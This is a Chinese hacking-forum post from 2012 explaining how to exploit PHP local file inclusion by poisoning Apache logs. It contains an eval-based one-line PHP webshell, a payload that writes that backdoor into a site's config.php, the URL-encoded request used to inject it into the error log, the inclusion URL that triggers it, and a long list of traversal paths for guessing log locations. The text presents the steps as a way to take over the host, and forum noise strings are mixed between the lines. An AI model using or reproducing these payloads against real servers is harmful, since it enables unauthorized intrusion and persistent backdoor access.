找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1951|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
2 \3 m; B2 {" v9 G% Q3 C6 v6 f) f7 n5 X7 X( W2 [  H1 q9 Q& j7 h
比如还是这句一句话木马 9 K; W6 R; N# M1 w6 C: F1 }9 v
<?eval($_POST[cmd]);?>   
6 ?1 ^+ m. r: a" m5 u! a" f( M, b. g; [& c9 d( h: D5 c9 `
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
/ w% H8 ^  u5 x1 xfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是   @& ]% \% d4 s) T

" _1 S+ g1 X: ^" l6 u: Y( a<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 8 q$ I# W  l% S' x2 {% D: Q& p- S' _
fclose($fp);?>   //在config.php里写入一句木马语句 " f- Q/ v0 D! q* O& f4 @5 ]

. _- g$ w' O- }/ o5 `" F1 ?, N: O6 O我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
. D1 w7 |/ s$ p4 f: P6 L转换为 " P% x3 \% r: ^+ \
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 7 n5 k$ p/ ?& ]8 m
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 6 w5 p# K) E/ Q, r& n, N
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B $ b' k: c; g8 e! M$ Q$ Z8 V. N
fclose%28%24fp%29%3B%3F%3E
+ B0 |8 ^$ F' h: D( B; q我们提交
# @4 T' K  w- S# J  p6 I( `http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
. o' x. m7 x. l) l& H# \%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
" T+ }& ?) M8 g/ J3 F2 m: L%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ [) d6 {5 r' h/ ncmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
% N: N; A, j; V0 C& x9 }5 t7 O- U- W% z; J( R
这样就错误日志里就记录下了这行写入webshell的代码。 * G4 e1 n3 G" I% g1 \6 M5 m; |" ~
我们再来包含日志,提交 0 X, O9 O5 s% N9 m& n# I) r1 Y
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
( }8 P9 p5 a) E: s! k& E# Q
2 V& \& |$ z9 h9 ^! Q' K* t这样webshell就写入成功了,config.php里就写入一句木马语句
% B3 `$ W- U' i. xOK. 1 e6 r+ {, n4 x" n: F2 M+ u( N
http://www.xxx.com/forum/config.php这个就成了我们的webshell , `$ y/ `; e7 y! T
直接用lanker的客户端一连,主机就是你的了。 ; x) g$ ]6 m  q2 h1 l

+ M9 H3 M! H0 T% kPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 . T( [' v  X2 z; X9 B

+ C0 ], z, T9 W8 a" F# z$ v其他的日志路径,你可以去猜,也可以参照这里。
0 C' A# g# S" H9 K../../../../../../../../../../var/log/httpd/access_log 4 h5 ~' P% h5 p7 P  R$ S
../../../../../../../../../../var/log/httpd/error_log
( k- z8 Q0 l  p' f$ I. l# Z../apache/logs/error.log 5 `, l% n; r# O2 m# i2 v, F' m+ e
../apache/logs/access.log + w  d) t, _5 t. T3 @) S; U2 W* p
../../apache/logs/error.log
9 t4 l$ k$ Q# r3 n' k6 y../../apache/logs/access.log
8 r& K: d: w' c& l( w6 D; l7 J../../../apache/logs/error.log , g- M" p4 R" P! y& c( z' s
../../../apache/logs/access.log . ]& U+ L  i, K/ s
../../../../../../../../../../etc/httpd/logs/acces_log 1 g+ M. Z4 `- m4 ?* |& L) V
../../../../../../../../../../etc/httpd/logs/acces.log
1 U8 k" d2 L3 |. Y- G2 H2 ~../../../../../../../../../../etc/httpd/logs/error_log
& t$ `' g; J7 }8 M( W% g# X4 y# y../../../../../../../../../../etc/httpd/logs/error.log
9 J$ Q! p* v' ~! q& `, d5 A../../../../../../../../../../var/www/logs/access_log
( a, B' L9 k3 M0 t../../../../../../../../../../var/www/logs/access.log
; q( w; E# V' h3 z; e../../../../../../../../../../usr/local/apache/logs/access_log   ~3 ?$ m9 @9 P& b7 l1 {; e
../../../../../../../../../../usr/local/apache/logs/access.log - C& Q3 y: p& g/ T  ^: N
../../../../../../../../../../var/log/apache/access_log
7 p' y9 F& E) W+ Q, `../../../../../../../../../../var/log/apache/access.log
/ c  {: l" c  c( R1 m, {1 `. B! I../../../../../../../../../../var/log/access_log 9 {" K  Q, U6 p4 J$ Q" y2 f( p
../../../../../../../../../../var/www/logs/error_log " i$ r7 W) M- W! c- h+ H$ d
../../../../../../../../../../var/www/logs/error.log
3 l* i/ u3 \/ A) Q' A../../../../../../../../../../usr/local/apache/logs/error_log # O) N+ E* j7 E, G; _2 E
../../../../../../../../../../usr/local/apache/logs/error.log
: z9 u3 `$ Q7 v1 P0 f../../../../../../../../../../var/log/apache/error_log
- y8 d) `6 E' s" b2 Z../../../../../../../../../../var/log/apache/error.log 3 D2 C# z! M  A( f' ]
../../../../../../../../../../var/log/access_log   g5 E: ?. i/ E, Y/ j2 ~
../../../../../../../../../../var/log/error_log
, U2 Y) a$ x% W! x: A) [/var/log/httpd/access_log       , h% v1 c3 ]3 x+ L/ u/ T
/var/log/httpd/error_log     % U9 C7 R/ I- B% I" O
../apache/logs/error.log     # j, S4 ], Q0 V* X# x/ P' d0 X
../apache/logs/access.log # W, g- }( }1 ^+ \& `3 t% [1 q  ^
../../apache/logs/error.log
. t8 S' z- ~4 X. b1 x5 x../../apache/logs/access.log / s; I9 V5 f, C/ [- E+ G
../../../apache/logs/error.log
, S( v/ e8 f1 g6 c. _& D4 H../../../apache/logs/access.log
, }7 ?. @( F. d( @" _' ?/etc/httpd/logs/acces_log " z5 H! U6 {# @9 r" e2 Y( M) d. C
/etc/httpd/logs/acces.log ' o0 t/ @" [/ f
/etc/httpd/logs/error_log
- R6 i6 ]( j- Y/ L7 |9 S9 s  d; K& }/etc/httpd/logs/error.log ; Z' w1 `! n- D  ~
/var/www/logs/access_log 2 i$ _& }" ~. p. K# r7 j& R( m
/var/www/logs/access.log
3 J' {; U8 S: b5 {$ p- D4 M' r: W/usr/local/apache/logs/access_log & ~$ z& _1 N5 [9 H2 l, c% p; K
/usr/local/apache/logs/access.log
2 w0 ]0 p& F$ m. b& h/var/log/apache/access_log   `8 W$ K# f" J" ?& `- i
/var/log/apache/access.log & H" L; A- W$ P: [# E
/var/log/access_log 7 O' V* m& J) s, q* U& g* I+ P5 o" z3 m
/var/www/logs/error_log 3 O2 X! M+ @  ^: ~1 I" @
/var/www/logs/error.log / q; e3 F' k4 c3 h  R
/usr/local/apache/logs/error_log
2 m" g: }1 J. A& r0 v: v' w+ S/usr/local/apache/logs/error.log / W* }2 g- G' j. J/ D  ?# w% `1 N- [
/var/log/apache/error_log
6 ~, e: A- K$ M0 y2 D% M/var/log/apache/error.log
- b( ?2 s# g& G6 T1 M/var/log/access_log " a) E- ^- r9 m1 X
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表